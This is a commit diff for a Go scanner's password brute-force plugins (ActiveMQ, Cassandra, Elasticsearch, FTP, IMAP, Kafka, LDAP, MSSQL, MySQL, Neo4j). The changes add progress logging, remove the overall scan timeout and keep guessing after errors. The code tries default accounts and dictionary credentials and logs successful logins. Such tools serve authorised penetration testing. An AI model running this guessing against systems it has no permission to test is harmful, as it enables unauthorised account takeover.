feat: 增加端口识别，修复插件总超时

Plugins/ActiveMQ.go

@@ -8,7 +8,6 @@ import (
 	"time"
 )
 
-// ActiveMQScan 执行 ActiveMQ 服务扫描
 func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
 	if Common.DisableBrute {
 		return
@@ -16,13 +15,25 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试默认账户 admin:admin")
+
 	// 首先测试默认账户
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
+		if retryCount > 0 {
+			Common.LogDebug(fmt.Sprintf("第%d次重试默认账户", retryCount+1))
+		}
+
 		flag, err := ActiveMQConn(info, "admin", "admin")
 		if flag {
+			Common.LogSuccess(fmt.Sprintf("ActiveMQ服务 %v:%v 成功爆破 用户名: admin 密码: admin",
+				info.Host, info.Ports))
 			return nil
 		}
 		if err != nil {
+			Common.LogError(fmt.Sprintf("ActiveMQ服务 %v:%v 默认账户尝试失败: %v",
+				info.Host, info.Ports, err))
+
 			if retryErr := Common.CheckErrs(err); retryErr != nil {
 				if retryCount == maxRetries-1 {
 					return err
@@ -33,32 +44,42 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
 		break
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["activemq"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
+		totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["activemq"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行连接测试
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					flag, err := ActiveMQConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{flag, err}
+					}{flag, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -67,6 +88,8 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success {
+						Common.LogSuccess(fmt.Sprintf("ActiveMQ服务 %v:%v 成功爆破 用户名: %v 密码: %v",
+							info.Host, info.Ports, user, pass))
 						return nil
 					}
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
@@ -80,17 +103,17 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
 
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue
 					}
 				}
-
 				break
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/Cassandra.go

@@ -15,12 +15,20 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试无认证访问...")
 
 	// 首先测试无认证访问
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
+		if retryCount > 0 {
+			Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
+		}
+
 		flag, err := CassandraConn(info, "", "")
 		if flag && err == nil {
+			Common.LogSuccess(fmt.Sprintf("Cassandra服务 %v:%v 无认证访问成功",
+				info.Host, info.Ports))
 			return err
 		}
 		if err != nil && Common.CheckErrs(err) != nil {
@@ -32,30 +40,41 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
 		break
 	}
 
+	totalUsers := len(Common.Userdict["cassandra"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
+
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["cassandra"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := CassandraConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -64,6 +83,9 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success && err == nil {
+						successLog := fmt.Sprintf("Cassandra服务 %v:%v 爆破成功 用户名: %v 密码: %v",
+							info.Host, info.Ports, user, pass)
+						Common.LogSuccess(successLog)
 						return nil
 					}
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
@@ -79,7 +101,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
@@ -90,6 +112,7 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/Elasticsearch.go

@@ -10,7 +10,6 @@ import (
 	"time"
 )
 
-// ElasticScan 执行 Elasticsearch 服务扫描
 func ElasticScan(info *Common.HostInfo) (tmperr error) {
 	if Common.DisableBrute {
 		return
@@ -18,10 +17,18 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试无认证访问...")
+
 	// 首先测试无认证访问
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
+		if retryCount > 0 {
+			Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
+		}
 		flag, err := ElasticConn(info, "", "")
 		if flag && err == nil {
+			Common.LogSuccess(fmt.Sprintf("Elasticsearch服务 %v:%v 无需认证",
+				info.Host, info.Ports))
 			return err
 		}
 		if err != nil && Common.CheckErrs(err) != nil {
@@ -33,32 +40,42 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
 		break
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["elastic"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
+		totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["elastic"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行连接尝试
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					flag, err := ElasticConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{flag, err}
+					}{flag, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -67,6 +84,8 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success && err == nil {
+						Common.LogSuccess(fmt.Sprintf("Elasticsearch服务 %v:%v 爆破成功 用户名: %v 密码: %v",
+							info.Host, info.Ports, user, pass))
 						return nil
 					}
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
@@ -82,7 +101,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
@@ -93,6 +112,7 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/FTP.go

@@ -8,7 +8,6 @@ import (
 	"time"
 )
 
-// FtpScan 执行FTP服务扫描
 func FtpScan(info *Common.HostInfo) (tmperr error) {
 	if Common.DisableBrute {
 		return
@@ -16,84 +15,99 @@ func FtpScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试匿名登录...")
+
 	// 先尝试匿名登录
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
 		flag, err := FtpConn(info, "anonymous", "")
 		if flag && err == nil {
+			Common.LogSuccess("匿名登录成功!")
 			return nil
 		}
-		errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
+		errlog := fmt.Sprintf("ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err)
 		Common.LogError(errlog)
-
-		if retryErr := Common.CheckErrs(err); retryErr != nil {
-			if retryCount == maxRetries-1 {
-				return err
-			}
-			continue
-		}
 		break
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["ftp"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["ftp"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			var lastErr error
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行FTP连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := FtpConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
-				var err error
 				select {
 				case result := <-done:
-					err = result.err
-					if result.success && err == nil {
+					if result.success && result.err == nil {
+						successLog := fmt.Sprintf("FTP %v:%v %v %v",
+							info.Host, info.Ports, user, pass)
+						Common.LogSuccess(successLog)
 						return nil
 					}
+					lastErr = result.err
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
-					err = fmt.Errorf("连接超时")
+					lastErr = fmt.Errorf("连接超时")
 				}
 
 				// 处理错误情况
-				if err != nil {
-					errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v",
-						info.Host, info.Ports, user, pass, err)
+				if lastErr != nil {
+					errlog := fmt.Sprintf("ftp %v:%v %v %v %v",
+						info.Host, info.Ports, user, pass, lastErr)
 					Common.LogError(errlog)
 
-					// 检查是否需要重试
-					if retryErr := Common.CheckErrs(err); retryErr != nil {
-						if retryCount == maxRetries-1 {
-							return err
+					// 如果是密码错误，直接尝试下一个组合
+					if strings.Contains(lastErr.Error(), "Login incorrect") {
+						break
+					}
+
+					// 如果是连接数限制，等待后重试
+					if strings.Contains(lastErr.Error(), "too many connections") {
+						Common.LogDebug("连接数过多，等待5秒...")
+						time.Sleep(5 * time.Second)
+						if retryCount < maxRetries-1 {
+							continue
 						}
-						continue // 继续重试
 					}
 				}
-
-				break // 如果不需要重试，跳出重试循环
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 
@@ -106,6 +120,12 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
 	if err != nil {
 		return false, err
 	}
+	// 确保连接被关闭
+	defer func() {
+		if conn != nil {
+			conn.Quit() // 发送QUIT命令关闭连接
+		}
+	}()
 
 	// 尝试登录
 	if err = conn.Login(Username, Password); err != nil {
@@ -113,7 +133,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
 	}
 
 	// 登录成功,获取目录信息
-	result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password)
+	result := fmt.Sprintf("ftp %v:%v:%v %v", Host, Port, Username, Password)
 	dirs, err := conn.List("")
 	if err == nil && len(dirs) > 0 {
 		// 最多显示前6个目录
@@ -126,6 +146,5 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er
 		}
 	}
 
-	Common.LogSuccess(result)
 	return true, nil
 }

Plugins/IMAP.go

@@ -17,32 +17,43 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["imap"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["imap"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行IMAP连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := IMAPConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -65,17 +76,17 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) {
 
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue
 					}
 				}
-
 				break
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 
@@ -85,6 +96,7 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
 	addr := fmt.Sprintf("%s:%s", host, port)
 
 	// 首先尝试普通连接
+	Common.LogDebug(fmt.Sprintf("尝试普通连接: %s", addr))
 	conn, err := net.DialTimeout("tcp", addr, timeout)
 	if err == nil {
 		if flag, err := tryIMAPAuth(conn, host, port, user, pass, timeout); err == nil {
@@ -94,6 +106,7 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
 	}
 
 	// 如果普通连接失败，尝试TLS连接
+	Common.LogDebug(fmt.Sprintf("尝试TLS连接: %s", addr))
 	tlsConfig := &tls.Config{
 		InsecureSkipVerify: true,
 	}
@@ -106,7 +119,6 @@ func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
 	return tryIMAPAuth(conn, host, port, user, pass, timeout)
 }
 
-// tryIMAPAuth 尝试IMAP认证
 func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass string, timeout time.Duration) (bool, error) {
 	conn.SetDeadline(time.Now().Add(timeout))
 

Plugins/Kafka.go

@@ -14,9 +14,14 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
 
 	// 首先测试无认证访问
+	Common.LogDebug("尝试无认证访问...")
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
+		if retryCount > 0 {
+			Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
+		}
 		flag, err := KafkaConn(info, "", "")
 		if flag && err == nil {
 			return nil
@@ -30,32 +35,41 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
 		break
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["kafka"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["kafka"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行Kafka连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := KafkaConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -79,17 +93,17 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
 				}
-
 				break // 如果不需要重试，跳出重试循环
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/LDAP.go

@@ -8,7 +8,6 @@ import (
 	"time"
 )
 
-// LDAPScan 执行LDAP服务扫描
 func LDAPScan(info *Common.HostInfo) (tmperr error) {
 	if Common.DisableBrute {
 		return
@@ -16,38 +15,50 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试匿名访问...")
+
 	// 首先尝试匿名访问
 	flag, err := LDAPConn(info, "", "")
 	if flag && err == nil {
 		return err
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["ldap"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["ldap"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行LDAP连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := LDAPConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -71,28 +82,27 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
 				}
-
-				break // 如果不需要重试，跳出重试循环
+				break
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 
-// LDAPConn 尝试LDAP连接
 func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
 	host, port := info.Host, info.Ports
 	timeout := time.Duration(Common.Timeout) * time.Second
-
-	// 构造LDAP连接地址
 	address := fmt.Sprintf("%s:%s", host, port)
 
+	Common.LogDebug(fmt.Sprintf("尝试连接: %s", address))
+
 	// 配置LDAP连接
 	l, err := ldap.Dial("tcp", address)
 	if err != nil {

Plugins/MSSQL.go

@@ -16,32 +16,43 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["mssql"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["mssql"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行MSSQL连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := MssqlConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -50,6 +61,8 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success && err == nil {
+						Common.LogSuccess(fmt.Sprintf("MSSQL %v:%v %v %v",
+							info.Host, info.Ports, user, pass))
 						return nil
 					}
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
@@ -64,7 +77,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
@@ -75,6 +88,7 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/MySQL.go

@@ -16,32 +16,43 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["mysql"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["mysql"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行MySQL连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := MysqlConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -50,7 +61,6 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success && err == nil {
-						// 连接成功
 						successLog := fmt.Sprintf("MySQL %v:%v %v %v",
 							info.Host, info.Ports, user, pass)
 						Common.LogSuccess(successLog)
@@ -76,7 +86,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
 						if retryCount == maxRetries-1 {
 							tmperr = err
 							if !strings.Contains(err.Error(), "Access denied") {
-								return err
+								continue
 							}
 						}
 						continue // 继续重试
@@ -87,6 +97,7 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/Neo4j.go

@@ -8,7 +8,6 @@ import (
 	"time"
 )
 
-// Neo4jScan 执行 Neo4j 服务扫描
 func Neo4jScan(info *Common.HostInfo) (tmperr error) {
 	if Common.DisableBrute {
 		return
@@ -16,6 +15,8 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
 
 	maxRetries := Common.MaxRetries
 
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+
 	// 首先测试无认证访问和默认凭证
 	initialChecks := []struct {
 		user string
@@ -25,39 +26,50 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
 		{"neo4j", "neo4j"}, // 默认凭证
 	}
 
+	Common.LogDebug("尝试默认凭证...")
 	for _, check := range initialChecks {
+		Common.LogDebug(fmt.Sprintf("尝试: %s:%s", check.user, check.pass))
 		flag, err := Neo4jConn(info, check.user, check.pass)
 		if flag && err == nil {
 			return err
 		}
 	}
 
-	starttime := time.Now().Unix()
+	totalUsers := len(Common.Userdict["neo4j"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["neo4j"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行Neo4j连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					flag, err := Neo4jConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{flag, err}
+					}{flag, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -81,17 +93,17 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
 				}
-
 				break // 如果不需要重试，跳出重试循环
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
